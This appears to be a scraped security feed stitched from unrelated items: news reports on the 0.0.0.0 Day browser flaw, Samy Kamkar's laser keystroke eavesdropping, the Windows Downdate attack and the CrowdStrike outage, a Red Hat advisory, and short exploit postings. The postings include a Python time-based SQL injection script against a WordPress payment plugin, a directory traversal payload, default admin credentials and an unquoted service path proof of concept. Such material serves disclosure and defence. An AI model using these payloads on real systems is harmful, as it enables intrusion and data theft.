Windows Firewall Control version 6.11.0 suffers from an unquoted service path vulnerability.

    # Exploit Title: Microsoft Windows Firewall Control 6.11.0 - UnquotedService Path# Date: 2024-08-06# Exploit Author: Milad Karimi (Ex3ptionaL)# Contact: miladgrayhat@gmail.com# Zone-H: www.zone-h.org/archive/notifier=Ex3ptionaL# MiRROR-H: https://mirror-h.org/search/hacker/49626/# Vendor Homepage: http://www.binisoft.org# Software Link: http://www.binisoft.org# Version: 6.11.0# Tested on: Windows 10 Pro x641. Description:Windows Firewall Control lacks of the quotes in filepath, causing it to bea potential vector of privilege escalation attack.To properly exploit this vulnerability, the local attacker must insert anexecutable file in the path of the service. Upon service restart or systemreboot, the malicious code will be run with elevated privileges.2. POCC:\>sc qc "wfcs"[SC] QueryServiceConfig SUCCESSSERVICE_NAME: wfcs        TYPE               : 10  WIN32_OWN_PROCESS        START_TYPE         : 2   AUTO_START        ERROR_CONTROL      : 1   NORMAL        BINARY_PATH_NAME   : "C:\Program Files\Windows FirewallControl\wfcs.exe"        LOAD_ORDER_GROUP   :        TAG                : 0        DISPLAY_NAME       : Windows Firewall Control        DEPENDENCIES       : MpsSvc        SERVICE_START_NAME : LocalSystemC:\>systeminfoOS Name:  Microsoft Windows 10 ProOS Version: 10.0.19045 N/A Build 19045OS Manufacturer: Microsoft Corporation

Windows Firewall Control 6.11.0 Unquoted Service Path

Cybersecurity researchers have discovered a new "0.0.0.0 Day" impacting all major web browsers that malicious websites could take advantage of to breach local networks.
The critical vulnerability "exposes a fundamental flaw in how browsers handle network requests, potentially granting malicious actors access to sensitive services running on local devices," Oligo Security researcher Avi Lumelsky

Vulnerability / Browser Security

Cybersecurity researchers have discovered a new "0.0.0.0 Day" impacting all major web browsers that malicious websites could take advantage of to breach local networks.

The critical vulnerability "exposes a fundamental flaw in how browsers handle network requests, potentially granting malicious actors access to sensitive services running on local devices," Oligo Security researcher Avi Lumelsky said.

The Israeli application security company said the implications of the vulnerability are far-reaching, and that it stems from the inconsistent implementation of security mechanisms and a lack of standardization across different browsers.

As a result, a seemingly harmless IP address such as 0.0.0.0 could be weaponized to exploit local services, resulting in unauthorized access and remote code execution by attackers outside the network. The loophole is said to have been around since 2006.

0.0.0.0 Day impacts Google Chrome/Chromium, Mozilla Firefox, and Apple Safari that enables external websites to communicate with software that runs locally on MacOS and Linux. It does not affect Windows devices as Microsoft blocks the IP address at the operating system level.

Particularly, Oligo Security found that public websites using domains ending in ".com" are able to communicate with services running on the local network and execute arbitrary code on the visitor's host by using the address 0.0.0.0 as opposed to localhost/127.0.0.1.

It's also a bypass of Private Network Access (PNA), which is designed to prohibit public websites from directly accessing endpoints located within private networks.

Any application that runs on localhost and can be reached via 0.0.0.0 is likely susceptible to remote code execution, including local Selenium Grid instances by dispatching a POST request to 0.0.0\[.\]0:4444 with a crafted payload.

In response to the findings in April 2024, web browsers are expected to block access to 0.0.0.0 completely, thereby deprecating direct access to private network endpoints from public websites.

"When services use localhost, they assume a constrained environment," Lumelsky said. "This assumption, which can (as in the case of this vulnerability) be faulty, results in insecure server implementations."

"By using 0.0.0.0 together with mode 'no-cors,' attackers can use public domains to attack services running on localhost and even gain arbitrary code execution (RCE), all using a single HTTP request."

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0.0.0.0 Day: 18-Year-Old Browser Vulnerability Impacts MacOS and Linux Devices

Hacker Samy Kamkar is debuting his own open source version of a laser microphone—a spy tool that can invisibly pick up the sounds inside your home through a window, and even the text you’re typing.

In a famous scene from the 1992 movie _Sneakers_, a hacker classic, the main characters park a surveillance van across the street from their target's office and point a telephoto lens through his window—only to find that their view of his computer keyboard is blocked by the surprise entrance of his love interest at the precise moment when he types his password. The surveillance team ends up watching and rewatching their partially obstructed VHS video of his keystrokes, bickering comically about the layout of a QWERTY keyboard.

Today, with a few decades of surveillance tech advancements and some clever feats of physics, all it would take to grab that password—as well as anything typed on the computer, or, for that matter, every word spoken in the room—would be a well-aimed infrared laser.

At the Defcon security conference this weekend in Las Vegas, renowned hacker Samy Kamkar plans to debut his own DIY advances in a form of laser-based surveillance, demonstrating that he can point a laser that's invisible to the human eye at a faraway laptop, through a window, and detect the computer's vibrations to reconstruct virtually every character typed on it. The trick, which takes advantage of the subtle acoustics created by tapping different keys on a computer, works even without a view of the computer's keyboard, so long as the hacker has a line-of-sight view of any relatively reflective portion of the target laptop.

In the process of perfecting that light-based keystroke eavesdropping technique, Kamkar says he's also created what may well be one of the world's most high-fidelity implementations of a laser microphone—a tool that bounces a laser off a room's window to detect its vibrations and record all the sounds inside—or at least, one of the most advanced such laser microphones whose technical details have been publicly released. (Kamkar plans to publish the full schematics on his website and GitHub.) The result is an open-source spying setup that can, in various forms, potentially pick up virtually everything either typed or spoken aloud in a surveillance target's room.

Kamkar says he's been determined to build his own laser-based spy setup since he watched a Defcon talk 15 years ago, in which a pair of hackers demonstrated some rudimentary detection of keystrokes with a laser pointed at a laptop from across a room. “It blew my mind. ‘I want to do this,’” Kamkar says he remembers thinking. “But I also wanted to improve the attack. Can I make it work from outside, from far away? Can I do it with an infrared laser so the target can't see it? And can I also hear what's happening in the room, such as by bouncing the laser off a window?”

The answers: Yes to all the above. The video below shows an example of Kamkar's prototype setup–he tested it through different windows of his house with varying results—with his infrared laser outside pointed at his Macbook inside, where he's typing and listening to music.

Here's a sample of text he was able to recover in one case from his own typing, compared to the original:

Kamkar says that his keystroke spying trick works best when he can aim his laser at a spot on a laptop that reflects light—ideally a shiny metal or plastic spot on the laptop's case, such as a logo. “The Apple logo is nearly a mirror,” he says. “So that's a really good reflective surface.” The video clip below, captured with an infrared camera and steam to make the laser's path visible, shows Kamkar's infrared laser bouncing off that shiny Apple logo.

When it came to recording sounds inside a room, Kamkar was in some cases able to pick up music clearly, as in the first two samples below—though he found that double-paned glass produced far more muffled results, which you can hear in the third audio sample.

Neither of Kamkar's two laser-spying techniques are entirely new concepts: Both the keystroke-surveillance technique and the laser-based audio eavesdropping trick are essentially his own versions of a tool known as a laser microphone, a decades-old invention that bounces a laser off a surface and measures the reflected light to detect the target's vibrations—such as those caused by either key presses on a laptop's keyboard or someone's nearby voice.

For both of his laser-based techniques, however, Kamkar used his own engineering tricks and a few thousand dollars in hardware to significantly advance the fidelity of his optical eavesdropping. To reduce the noise created by ambient light when attempting to detect vibrations in his reflected infrared laser, for instance, he designed his laser microphone system to strobe on and off 400,000 times per second, picking up the reflected light through a lens so that the light hits a photo diode—or doesn't—depending on the target's vibrations. By using that 400-kilohertz frequency and measuring variances in the signal's amplitude just as an amplitude-modulated, or AM, radio does, Kamkar was able to later filter out everything other than that frequency to vastly reduce noise. He then amplified that signal and used a piece of hardware known as an upconverter to shift that AM radio signal to a higher frequency, so that it could be fed it into a software-defined radio—a digital, programmable radio capable of handling a far larger range of frequencies than a typical radio—to analyze it.

“I think I've created the first laser microphone that's actually modulated in the radio frequency domain,” Kamkar says. “Once I have a radio signal, I can treat it like radio, and I can take advantage of all the tools that exist for radio communication.” In other words, Kamkar converted sound into light into radio—and then back again into sound.

Samy Kamkar at his home workstation.Photograph: Roger Kisby

For his keystroke detection technique, Kamkar then fed the output of his laser microphone into an audio program called iZotopeRX to further remove noise and then an open source piece of software called Keytap3 that can convert the sound of keystrokes into legible text. In fact, security researchers have demonstrated for years that keystroke audio, recorded from a nearby microphone, can be analyzed and deciphered into the text that a surveillance target is typing by distinguishing tiny acoustic differences in various keys. One group of researchers has shown that relatively precise text can even be derived from the sounds of keystrokes recorded over a Zoom call.

Kamkar, however, was more interested in the 2009 Defcon demonstration in which security researchers Andrea Barisani and Daniele Bianco showed that they could use a simple laser microphone to roughly detect words typed on a keyboard, a trick that would allow long-distance line-of-sight spying. In that demo, the two Italian hackers only got as far as testing out their laser spying technique across the room from a laptop and generating a list of possible word pairs that matched the vibration signature they recorded.

Speaking to WIRED, Barisani says their experiment was only a “quick and dirty” proof of concept compared to Kamkar's more polished prototype. “Samy is brilliant, and there was a lot of room for improvement,” Barisani says. “I'm 100 percent sure that he was able to improve our attack both in the hardware setup and the signal processing.”

Kamkar’s laser spying kit: An infrared laser…Photograph: Roger Kisby

…attached to an oscilloscope’s signal generator, current controller, temperature controller, and amplifier power supply.Photograph: Roger Kisby

Kamkar's results do appear to be dramatically better: Some samples of text he recovered from typing with his laser mic setup and shared with WIRED were almost entirely legible, with only a missed letter every word or two; others showed somewhat spottier results. Kamkar's laser microphone worked well enough for detecting keystrokes, in fact, that he also tested using it to record audio in a room more generally, by bouncing his infrared laser off a window. It produced remarkably clear sound, noticeably better than other samples of laser microphone audio released online—at least among those recorded stealthily from a window's vibrations.

Of course, given that laser microphones have existed for decades, Kamkar admits he doesn't know what advancements the technology may have made in commercial implementations available to governments or law enforcement, not to mention even more secret, custom-built technologies potentially created or used by intelligence agencies. “I would assume they're doing this or something like it,” Kamkar says.

Unlike the creators of those professional spy tools, though, Kamkar is publishing the full schematics of his DIY laser microphone spy kit. “Ideally, I want the public to know everything that intelligence agencies are doing, and the next thing, too," Kamkar says. “If you don't know something is possible, you're probably not going to protect against it.”

Even knowing that Kamkar's silent, invisible, long-distance laser spy trick exists, how does anyone hide their secrets from it? He suggests that companies install double-paned or reflective glass. Some security device companies also sell protection devices that affix to windows and vibrate them to prevent laser microphone spying, and Kamkar concedes he hasn't tested his attack against those. But he also suggests a safer countermeasure: “Don't work on computers visible from a window,” he says. “Or just have dirty windows.”

Kamkar admits that beyond any idea of enabling or defeating surveillance, he was driven to develop his laser spying tricks mostly to test what was possible in the realm of physics-based hacking. More than a warning about any particular spy trick, he hopes his Defcon talk will inspire the conference's hacker audience to think more broadly about how information resonates through the real world in unexpected and exploitable ways, defying any simple model of computer security.

“You hit a key, it produces a sound that emanates in all directions. All the light hitting the laptop also vibrates at that frequency. The key then closes a circuit on the keyboard that generates electromagnetism and emits radio frequency in all directions,” Kamkar says. “The physical world screams secrets, and we have the ability to listen.” And if you don't, whoever's watching outside your window just might.

Watch How a Hacker’s Infrared Laser Can Spy on Your Laptop’s Keystrokes

Microsoft said it is developing security updates to address two loopholes that it said could be abused to stage downgrade attacks against the Windows update architecture and replace current versions of the operating system files with older versions.
The vulnerabilities are listed below -

CVE-2024-38202 (CVSS score: 7.3) - Windows Update Stack Elevation of Privilege Vulnerability
CVE-2024-21302

Windows Security / Vulnerability

Microsoft said it is developing security updates to address two loopholes that it said could be abused to stage downgrade attacks against the Windows update architecture and replace current versions of the operating system files with older versions.

The vulnerabilities are listed below -

*   **CVE-2024-38202** (CVSS score: 7.3) - Windows Update Stack Elevation of Privilege Vulnerability
*   **CVE-2024-21302** (CVSS score: 6.7) - Windows Secure Kernel Mode Elevation of Privilege Vulnerability

Credited with discovering and reporting the flaws is SafeBreach Labs researcher Alon Leviev, who presented the findings at Black Hat USA 2024 and DEF CON 32.

CVE-2024-38202, which is rooted in the Windows Backup component, allows an "attacker with basic user privileges to reintroduce previously mitigated vulnerabilities or circumvent some features of Virtualization Based Security (VBS)," the tech giant said.

It, however, noted that an attacker attempting to leverage the flaw would have to convince an Administrator or a user with delegated permissions to perform a system restore which inadvertently triggers the vulnerability.

The second vulnerability also concerns a case of privilege escalation in Windows systems that support VBS, effectively allowing an adversary to replace current versions of Windows system files with outdated versions.

The consequences of CVE-2024-21302 are that it could be weaponized to reintroduce previously addressed security flaws, bypass some features of VBS, and exfiltrate data protected by VBS.

Leviev, who detailed a tool dubbed Windows Downdate, said it could be used to turn a "fully patched Windows machine susceptible to thousands of past vulnerabilities, turning fixed vulnerabilities into zero-days and making the term 'fully patched' meaningless on any Windows machine in the world."

The tool, Leviev added, could "take over the Windows Update process to craft fully undetectable, invisible, persistent, and irreversible downgrades on critical OS components—that allowed me to elevate privileges and bypass security features."

Furthermore, Windows Downdate is capable of bypassing verification steps, such as integrity verification and Trusted Installer enforcement, effectively making it possible to downgrade critical operating system components, including dynamic link libraries (DLLs), drivers, and NT kernel.

The issues, on top of that, could be exploited to downgrade Credential Guard's Isolated User Mode Process, Secure Kernel, and Hyper-V's hypervisor to expose past privilege escalation vulnerabilities, as well as disable VBS, alongside features like Hypervisor-Protected Code integrity (HVCI).

The net result is that a completely patched Windows system could be rendered susceptible to thousands of past vulnerabilities and turn fixed shortcomings into zero-days.

These downgrades have an added impact in that the operating system reports that the system is fully updated, while simultaneously preventing the installation of future updates and inhibiting detection by recovery and scanning tools.

"The downgrade attack I was able to achieve on the virtualization stack within Windows was possible due to a design flaw that permitted less privileged virtual trust levels/rings to update components residing in more privileged virtual trust levels/rings," Leviev said.

"This was very surprising, given Microsoft's VBS features were announced in 2015, meaning the downgrade attack surface I discovered has existed for almost a decade."

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Windows Downgrade Attack Risks Exposing Patched Systems to Old Vulnerabilities

The security vendor has also implemented several changes to protect against the kind of snafu that crashed 8.5 million Windows computers worldwide last month.

Source: Ascannio via Shutterstock

CrowdStrike will give customers more control over how they deploy content updates to the company's Falcon sensor endpoint security technology following the recent incident that saw a faulty update crash more than 8.5 million Windows systems worldwide.

The beleaguered security vendor — which is the target of two lawsuits over the incident already — has implemented new features to its platform to support the capability with additional functionality planned for the future.

**Multiple Changes**

The update is one of several changes CrowdStrike has implemented following the completion of a root cause analysis (RCA) of the July 19 incident. In an Aug. 7 update, CrowdStrike announced other changes it has made to ensure something similar does not happen in the future. The changes include new content configuration system test procedures, additional deployment layers and acceptance checks for its content configuration system, and new validation checks for its updates.

CrowdStrike has also asked two independent third-party security vendors to review the code for its Falcon sensor technology and of the company's quality control and release processes for the product. "We are using the lessons learned from this incident to better serve our customers," CrowdStrike CEO George Kurtz said in a statement that accompanied its RCA. "To this end, we have already taken decisive steps to help prevent this situation from repeating and to help ensure that we — and you — become even more resilient."

CrowdStrike's problems started with a July 19 content update for a new Falcon sensor capability that the security vendor first rolled out in February 2024. The automatically deployed update caused Windows systems worldwide to crash and created enormous disruptions for organizations across multiple sectors, including airlines, financial services, healthcare, manufacturing, and government. In many cases, systems admins had to manually restart computers, which meant that it took days for numerous organizations to restore services fully.

CrowdStrike has already become the target of at least two class-action lawsuits over the incident — one on behalf of the company's shareholders and the other on behalf of affected businesses. Many others, including Delta Air Lines, are expected to sue CrowdStrike over related outage costs in coming days and months.

**Parameter Count Mismatch**

The security vendor has identified a parameter count mismatch between what its Falcon sensor product expected and what the July 19 content configuration update actually contained as the root cause for the problems. The update was for a Falcon sensor feature that CrowdStrike rolled out in February to detect and provide insights into new attack techniques that exploit specific Windows mechanisms. Falcon sensor uses a specific template with a predefined set of 20 separate input fields to deliver this specific capability.

CrowdStrike's content configuration update on July 19 provided 21 input fields rather than the 20 fields the sensor expected. "In this instance, the mismatch resulted in an out-of-bounds memory read, causing a system crash," CrowdStrike said.

While the security vendor introduced the template with the mismatched parameter count in February, its analysis showed it slipped past multiple layers of build validation and testing.  No one caught the discrepancy during the sensor release test process, during stress tests of the template, or even during initial real-world deployments. In part, this was because the test processes and initial deployments used a "wildcard matching criteria" — meaning they accepted any value or no value at all — for the extra input field's parameter.

The July 19 update used a non-wildcard matching criterion for the July 21 parameter, which meant the sensor had to contend with data for a field it did not expect. "The Content Interpreter expected only 20 values," CrowdStrike said. "Therefore, the attempt to access the 21st value produced an out-of-bounds memory read beyond the end of the input data array and resulted in a system crash."

**About the Author**

Jai Vijayan is a seasoned technology reporter with over 20 years of experience in IT trade journalism. He was most recently a Senior Editor at Computerworld, where he covered information security and data privacy issues for the publication. Over the course of his 20-year career at Computerworld, Jai also covered a variety of other technology topics, including big data, Hadoop, Internet of Things, e-voting, and data analytics. Prior to Computerworld, Jai covered technology issues for The Economic Times in Bangalore, India. Jai has a Master's degree in Statistics and lives in Naperville, Ill.

CrowdStrike Will Give Customers Control Over Falcon Sensor Updates

A researcher found a vulnerability that would let hackers strategically downgrade a target’s Windows version to reexpose patched vulnerabilities. Microsoft is working on fixes for the issue.

New research being presented at the Black Hat security conference in Las Vegas today shows that a vulnerability in Windows Update could be exploited to downgrade Windows to older versions, exposing a slew of historical vulnerabilities that then can be exploited to gain full control of a system. Microsoft says that it is working on a complex process to carefully patch the issue, dubbed “Downdate.”

Alon Leviev, the SafeBreach Labs researcher who discovered the flaw, says he started looking for possible downgrade attack methods after seeing that a startling hacking campaign from last year was using a type of malware (known as the “BlackLotus UEFI bootkit”) that relied on downgrading the Windows boot manager to an old, vulnerable version. After probing the Windows Update flow, Leviev discovered a path to strategically downgrading Windows—either the entire operating system or just specifically chosen components. From there, he developed a proof-of-concept attack that utilized this access to disable the Windows protection known as Virtualization-Based Security (VBS) and ultimately target highly privileged code running in the computer's core “kernel.”

“I found a downgrade exploit that is fully undetectable because it is performed by using Windows Update itself,” which the system trusts, Leviev told WIRED ahead of his conference talk. “In terms of invisibility, I didn't uninstall any update—I basically updated the system even though under the hood it was downgraded. So the system is not aware of the downgrade and still appears up-to-date.”

Leviev's downgrade capability comes from a flaw in the components of the Windows Update process. To perform an upgrade, your PC places what is essentially a request to update in a special update folder. It then presents this folder to the Microsoft update server, which checks and confirms its integrity. Next, the server creates an additional update folder for you that only it can control, where it places and finalizes the update and also stores an action list—called “pending.xml”—that includes the steps of the update plan, such as which files will be updated and where the new code will be stored on your computer. When you reboot your PC, it takes the actions from the list and updates the software.

The idea is that even if your computer, including your update folder, is compromised, a bad actor can't hijack the update process because the crucial parts of it happen in the server-controlled update folder. Leviev looked closely at the different files in both the user's update folder and the server's update folder, though, and he eventually found that while he couldn't modify the action list in the server's update folder directly, one of the keys controlling it—called “PoqexecCmdline”—was not locked. This gave Leviev a way to manipulate the action list, and with it the entire update process, without the system realizing that anything was amiss.

With this control, Leviev then found strategies to downgrade multiple key components of Windows, including drivers, which coordinate with hardware peripherals; dynamic link libraries, which contain system programs and data; and, crucially, the NT kernel, which contains the most core instructions for a computer to run. All of these could be downgraded to older versions that contain known, patched vulnerabilities. And Leviev even cast a wider net from there, to find strategies for downgrading Windows security components including the Windows Secure Kernel; the Windows password and storage component Credential Guard; the hypervisor, which creates and oversees virtual machines on a system; and VBS, the Windows virtualization security mechanism.

The technique does not include a way to first gain remote access to a victim device, but for an attacker who already has initial access, it could enable a true rampage, because Windows Update is such a trusted mechanism and can reintroduce a vast array of dangerous vulnerabilities that have been fixed by Microsoft over the years. Microsoft says that it has not seen any attempts to exploit the technique.

“We are actively developing mitigations to protect against these risks while following an extensive process involving a thorough investigation, update development across all affected versions, and compatibility testing, to ensure maximized customer protection with minimized operational disruption,” a Microsoft spokesperson told WIRED in a statement.

Part of the company's fix involves revoking vulnerable VBS system files, which must be done carefully and gradually, because it could cause integration issues or reintroduce other, unrelated problems that were previously addressed by those same system files.

Leviev emphasizes that downgrade attacks are an important threat for the developer community to consider as hackers endlessly seek paths into target systems that are stealthy and difficult to detect.

A Flaw in Windows Update Opens the Door to Zombie Exploits

WordPress PayPlus Payment Gateway plugin versions prior to 6.6.9 suffer from a remote SQL injection vulnerability.

    #!/usr/bin/env python3.11import requestsimport timedef exploit(url):    payload = {"wc-api": "payplus_gateway&status_code=true&more_info=(select*from(select(sleep(5)))a)"}    start = time.time()    with requests.Session() as session:        session.headers.update({            'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3'        })        response = requests.get(url, params=payload)        print(f"Exploiting {url}...")        end = time.time()        print(response.status_code)        response_time = end - start        print(f"Response time: {response_time}...")if __name__ == "__main__":    url = input("Enter the vulnerable URL (e.g., https://test.site): ")    if not url.startswith("http"):        url = "http://" + url    exploit(url)

WordPress PayPlus Payment Gateway SQL Injection

Red Hat Security Advisory 2024-5025-03 - Red Hat JBoss Web Server 5.8.1 zip release is now available for Red Hat Enterprise Linux 7, Red Hat Enterprise Linux 8, Red Hat Enterprise Linux 9, and Windows Server.

    The following advisory data is extracted from:https://access.redhat.com/security/data/csaf/v2/advisories/2024/rhsa-2024_5025.jsonRed Hat officially shut down their mailing list notifications October 10, 2023.  Due to this, Packet Storm has recreated the below data as a reference point to raise awareness.  It must be noted that due to an inability to easily track revision updates without crawling Red Hat's archive, these advisories are single notifications and we strongly suggest that you visit the Red Hat provided links to ensure you have the latest information available if the subject matter listed pertains to your environment.- Packet Storm Staff====================================================================Red Hat Security AdvisorySynopsis:           Important: Red Hat JBoss Web Server 5.8.1 release and security updateAdvisory ID:        RHSA-2024:5025-03Product:            Red Hat JBoss Web ServerAdvisory URL:       https://access.redhat.com/errata/RHSA-2024:5025Issue date:         2024-08-06Revision:           03CVE Names:          CVE-2024-34750====================================================================Summary: Red Hat JBoss Web Server 5.8.1 zip release is now available for Red Hat Enterprise Linux 7, Red Hat Enterprise Linux 8, Red Hat Enterprise Linux 9, and Windows Server.Red Hat Product Security has rated this update as having a security impact of Important. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.Description:Red Hat JBoss Web Server is a fully integrated and certified set of components for hosting Java web applications. It is comprised of the Apache Tomcat Servlet container, JBoss HTTP Connector (mod_cluster), the PicketLink Vault extension for Apache Tomcat, and the Tomcat Native library.This release of Red Hat JBoss Web Server 5.8.1 serves as a replacement for Red Hat JBoss Web Server 5.8.0. This release includes bug fixes, enhancements and component upgrades, which are documented in the Release Notes that are linked to in the References section.Security Fix(es):* jws5-tomcat: Improper Handling of Exceptional Conditions (CVE-2024-34750)For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.Solution:CVEs:CVE-2024-34750References:https://access.redhat.com/security/updates/classification/#importanthttps://docs.redhat.com/en/documentation/red_hat_jboss_web_server/5.8/html-single/red_hat_jboss_web_server_5.8_service_pack_1_release_notes/indexhttps://bugzilla.redhat.com/show_bug.cgi?id=2295651

Red Hat Security Advisory 2024-5025-03

E-Commerce Site using PHP PDO version 1.0 suffers from a directory traversal vulnerability.

    =============================================================================================================================================| # Title     : E-Commerce Site using PHP PDO v1.0 Directory traversal Vulnerability                                                        || # Author    : indoushka                                                                                                                   || # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 125.0.1 (64 bits)                                                            || # Vendor    : https://www.sourcecodester.com/php/12287/e-commerce-site-using-php-pdo.html                                                 |=============================================================================================================================================poc :[+] Dorking İn Google Or Other Search Enggine.[+] use payload : /bower_components/bootstrap/dist/css/../../Gemfile[+] https://www/127.0.0.1/demo/site/loginGreetings to :============================================================jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * CraCkEr |==========================================================================

E-Commerce Site Using PHP PDO 1.0 Directory Traversal

Covid-19 Directory on Vaccination System version 1.0 suffers from an ignored default credential vulnerability.

**Covid-19 Directory On Vaccination System 1.0 Insecure Settings**

Posted Aug 7, 2024

Authored by indoushka

Covid-19 Directory on Vaccination System version 1.0 suffers from an ignored default credential vulnerability.

tags | exploit

SHA-256 | 8c38f4e680e6513d62d4303a51a4d7e3eaa5a7bb80e3e87ce8e510bba268a0b9

Download | Favorite | View

**Covid-19 Directory On Vaccination System 1.0 Insecure Settings**

    ====================================================================================================================================| # Title     : Covid-19 Directory on Vaccination System v1.0 Insecure Settings Vulnerability                                      || # Author    : indoushka                                                                                                          || # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 125.0.1 (64 bits)                                                   || # Vendor    : https://www.sourcecodester.com/php/15244/design-and-implementation-covid-19-directory-vacination.html              |====================================================================================================================================poc :[+] Dorking İn Google Or Other Search Enggine.[+] Insecure Settings : appears to leave a default administrative account in place post installation.[+] use payload : user =  admin & pass = admin123[+] https://www/127.0.0.1/yorubanwitness000webhostappcom/admin/Greetings to :==================================================jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R |================================================================

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